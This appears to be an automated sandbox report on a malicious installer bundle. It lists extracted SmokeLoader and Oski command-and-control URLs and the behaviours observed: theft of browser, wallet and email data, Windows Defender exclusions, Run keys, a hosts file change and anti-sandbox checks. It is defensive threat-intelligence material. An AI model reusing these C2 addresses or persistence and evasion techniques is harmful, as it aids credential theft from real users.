Overview
overview
10Static
static
ﱞﱞﱞ�...ﱞﱞ
windows10_x64
10ﱞﱞﱞ�...ﱞﱞ
windows10_x64
10ﱞﱞﱞ�...ﱞﱞ
windows10_x64
10ﱞﱞﱞ�...ﱞﱞ
windows10_x64
10ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10ﱞﱞﱞ�...ﱞﱞ
windows7_x64
10win102
windows10_x64
9win102
windows10_x64
10win102
windows10_x64
10win102
windows10_x64
10win104
windows10_x64
10win104
windows10_x64
10win104
windows10_x64
10win104
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
10win105
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win106
windows10_x64
10win103
windows10_x64
8win103
windows10_x64
9win103
windows10_x64
10win103
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
10win101
windows10_x64
10Resubmissions
12-11-2024 01:29
241112-bwgrxs1gnf 1008-07-2021 12:18
210708-8z6d5h8z2n 1006-07-2021 17:53
210706-g6we6sa7sa 1019-06-2021 18:17
210619-vr8bj2dzfn 1017-06-2021 21:39
210617-a9cvlnmrbx 1011-06-2021 17:26
210611-wvab1yw2tj 1008-06-2021 06:47
210608-qrbpch3y46 1008-06-2021 06:47
210608-64tndgm1ln 1005-06-2021 18:40
210605-cd6qpr55sx 1004-06-2021 11:56
210604-5c416rs3ns 10Analysis
-
max time kernel
1800s -
max time network
1729s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
05-05-2021 12:58
Static task
static1
Behavioral task
behavioral1
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral2
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral4
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
keygen-step-4d.exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
keygen-step-4.exe
Resource
win7v20210408
Behavioral task
behavioral7
Sample
Install2.exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
Install.exe
Resource
win7v20210408
Behavioral task
behavioral9
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral10
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral12
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral14
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral16
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral18
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral20
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral21
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral22
Sample
keygen-step-4.exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
Install2.exe
Resource
win10v20210410
Behavioral task
behavioral24
Sample
Install.exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
keygen-step-4d.exe
Resource
win10v20210410
Behavioral task
behavioral26
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral28
Sample
Install.exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
keygen-step-4d.exe
Resource
win10v20210408
Behavioral task
behavioral30
Sample
keygen-step-4.exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Install2.exe
Resource
win10v20210408
Behavioral task
behavioral32
Sample
Install.exe
Resource
win10v20210410
General
-
Target
Install.exe
Malware Config
Extracted
oski
weirdtrendz.com
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Signatures
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Blocklisted process makes network request 49 IoCs
flow pid Process 105 5016 powershell.exe 109 5016 powershell.exe 111 5016 powershell.exe 114 5016 powershell.exe 116 5016 powershell.exe 117 5016 powershell.exe 118 5016 powershell.exe 119 5016 powershell.exe 120 5016 powershell.exe 121 5016 powershell.exe 122 5016 powershell.exe 125 5016 powershell.exe 126 5016 powershell.exe 127 5016 powershell.exe 128 5016 powershell.exe 129 5016 powershell.exe 130 5016 powershell.exe 131 5016 powershell.exe 132 5016 powershell.exe 135 5016 powershell.exe 137 5016 powershell.exe 138 5016 powershell.exe 146 5016 powershell.exe 147 5016 powershell.exe 148 5016 powershell.exe 149 5016 powershell.exe 150 5016 powershell.exe 151 5016 powershell.exe 152 5016 powershell.exe 154 5016 powershell.exe 155 5016 powershell.exe 156 5016 powershell.exe 157 5016 powershell.exe 158 5016 powershell.exe 161 5016 powershell.exe 164 5016 powershell.exe 165 5016 powershell.exe 166 5016 powershell.exe 167 5016 powershell.exe 168 5016 powershell.exe 169 5016 powershell.exe 170 5016 powershell.exe 171 5016 powershell.exe 172 5016 powershell.exe 173 5016 powershell.exe 174 5016 powershell.exe 175 5016 powershell.exe 178 5016 powershell.exe 182 5544 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe -
Executes dropped EXE 54 IoCs
pid Process 1328 Install.tmp 2904 Ultra.exe 1280 ultramediaburner.exe 3900 ultramediaburner.tmp 1200 Xybalyryqe.exe 3860 UltraMediaBurner.exe 2356 Pyzhaejoqibu.exe 5248 KiffMainE1.exe 5320 cmd.exe 5544 installer.exe 5608 cmd.exe 5804 svchost.exe 5956 gpooe.exe 6092 jfiag3g_gg.exe 3936 jfiag3g_gg.exe 4272 google-game.exe 4720 huesaa.exe 3388 jfiag3g_gg.exe 3632 setup.exe 4228 askinstall39.exe 5680 Setup_v3.exe 2168 jfiag3g_gg.exe 696 powershell.exe 4420 Fessura.exe.com 4560 toolspab1.exe 4728 7CB3.exe 4996 SunLabsPlayer.exe 4976 toolspab1.exe 5228 7CB3.exe 5996 8138.exe 3244 859E.exe 4624 Conhost.exe 5268 7CB3.exe 4728 7CB3.exe 5876 A09A.exe 3864 A09A.exe 2156 8138.exe 5724 RegAsm.exe 4312 Mutato.exe.com 5308 Mutato.exe.com 3952 RegAsm.exe 2240 data_load.exe 3856 data_load.exe 5828 lighteningplayer-cache-gen.exe 5940 dvujsjv 5760 dvujsjv 5368 jfiag3g_gg.exe 4228 jfiag3g_gg.exe 4936 dvujsjv 5320 dvujsjv 1056 jfiag3g_gg.exe 4104 jfiag3g_gg.exe 644 dvujsjv 964 dvujsjv -
resource yara_rule behavioral16/files/0x000100000001abfd-189.dat upx behavioral16/files/0x000100000001abfd-188.dat upx behavioral16/files/0x000200000001abeb-225.dat upx behavioral16/files/0x000200000001abeb-228.dat upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Xybalyryqe.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sAeNYVsWrM.url Mutato.exe.com -
Loads dropped DLL 64 IoCs
pid Process 1328 Install.tmp 5544 installer.exe 5544 installer.exe 5804 svchost.exe 5804 svchost.exe 5804 svchost.exe 5544 powershell.exe 4552 MsiExec.exe 4552 MsiExec.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5344 rundll32.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 5544 powershell.exe 5016 powershell.exe 5016 powershell.exe 5016 powershell.exe 4576 MsiExec.exe 4576 MsiExec.exe 4576 MsiExec.exe 4576 MsiExec.exe 4576 MsiExec.exe 4576 MsiExec.exe 4576 MsiExec.exe 5016 powershell.exe 4996 SunLabsPlayer.exe 4976 toolspab1.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4728 7CB3.exe 4728 7CB3.exe 3244 859E.exe 3244 859E.exe 3244 859E.exe 3244 859E.exe 3244 859E.exe 3244 859E.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 624 rundll32.exe 4860 rundll32.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe 4996 SunLabsPlayer.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\NXfSHgjpzLhX = "0" rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\TEMP\ = "0" rundll32.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Google\\Delyhotevy.exe\"" Ultra.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gpooe.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: powershell.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\E: powershell.exe File opened (read-only) \??\N: powershell.exe File opened (read-only) \??\R: powershell.exe File opened (read-only) \??\T: powershell.exe File opened (read-only) \??\Z: powershell.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\F: powershell.exe File opened (read-only) \??\K: powershell.exe File opened (read-only) \??\M: powershell.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: powershell.exe File opened (read-only) \??\Y: powershell.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\L: powershell.exe File opened (read-only) \??\P: powershell.exe File opened (read-only) \??\Q: powershell.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: powershell.exe File opened (read-only) \??\U: powershell.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: powershell.exe File opened (read-only) \??\B: powershell.exe File opened (read-only) \??\I: powershell.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: powershell.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\X: powershell.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: powershell.exe File opened (read-only) \??\H: powershell.exe File opened (read-only) \??\S: powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 65 ip-api.com -
Drops file in System32 directory 21 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\5LP3IBT9.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent CA705398861DA705 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\System32\Tasks\PjPVhJpbFf svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\5LP3IBT9.cookie svchost.exe File opened for modification C:\Windows\System32\Tasks\NXfSHgjpzLhX svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
pid Process 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5228 7CB3.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe 5876 A09A.exe -
Suspicious use of SetThreadContext 11 IoCs
description pid Process procid_target PID 5608 set thread context of 5804 5608 cmd.exe 104 PID 2164 set thread context of 5288 2164 svchost.exe 125 PID 4560 set thread context of 4976 4560 toolspab1.exe 166 PID 5228 set thread context of 4728 5228 7CB3.exe 198 PID 5876 set thread context of 3864 5876 A09A.exe 216 PID 5996 set thread context of 2156 5996 8138.exe 212 PID 4420 set thread context of 5724 4420 Fessura.exe.com 224 PID 5308 set thread context of 3952 5308 Mutato.exe.com 230 PID 5940 set thread context of 5760 5940 dvujsjv 263 PID 4936 set thread context of 5320 4936 dvujsjv 275 PID 644 set thread context of 964 644 dvujsjv 283 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libaudiobargraph_v_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk msiexec.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Back-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_imem_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\librtp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwaveout_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libsmf_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\mosaic_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libhttps_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\logger\libfile_logger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.json SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\reader\filename.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsmb_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url msiexec.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libtdummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files\Google\RDHQMXEXAV\ultramediaburner.exe.config Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libvoc_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\NXfSHgjpzLhX.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\view.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\02_frenchtv.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\batch_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libattachment_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\http.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\ SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libsubsdelay_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\bckf.fon data_load.exe File created C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\cue.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_dummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files\Google\RDHQMXEXAV\ultramediaburner.exe Ultra.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\dumpmeta.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libsdp_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\equalizer_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\custom.lua SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Other-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\01_googleimage.luac SunLabsPlayer.exe -
Drops file in Windows directory 35 IoCs
description ioc Process File opened for modification C:\Windows\Installer\f74676a.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI69EB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C7C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI77ED.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\Installer\MSI8167.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8801.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI891D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8CDC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI896C.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI6EC1.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI704A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8108.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI6DD6.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\f74676a.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI7EB5.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI6D29.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7665.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI88ED.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8A78.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe msiexec.exe File created C:\Windows\Installer\f74676d.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI701A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7CE0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8223.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI89EA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8A29.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 3100 5228 WerFault.exe 186 1292 5876 WerFault.exe 204 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspab1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI dvujsjv -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 7CB3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 7CB3.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2100 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 4212 timeout.exe 5008 timeout.exe 4760 timeout.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 5840 bitsadmin.exe -
Kills process with taskkill 4 IoCs
pid Process 4728 taskkill.exe 5096 taskkill.exe 5616 taskkill.exe 5048 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 37 IoCs
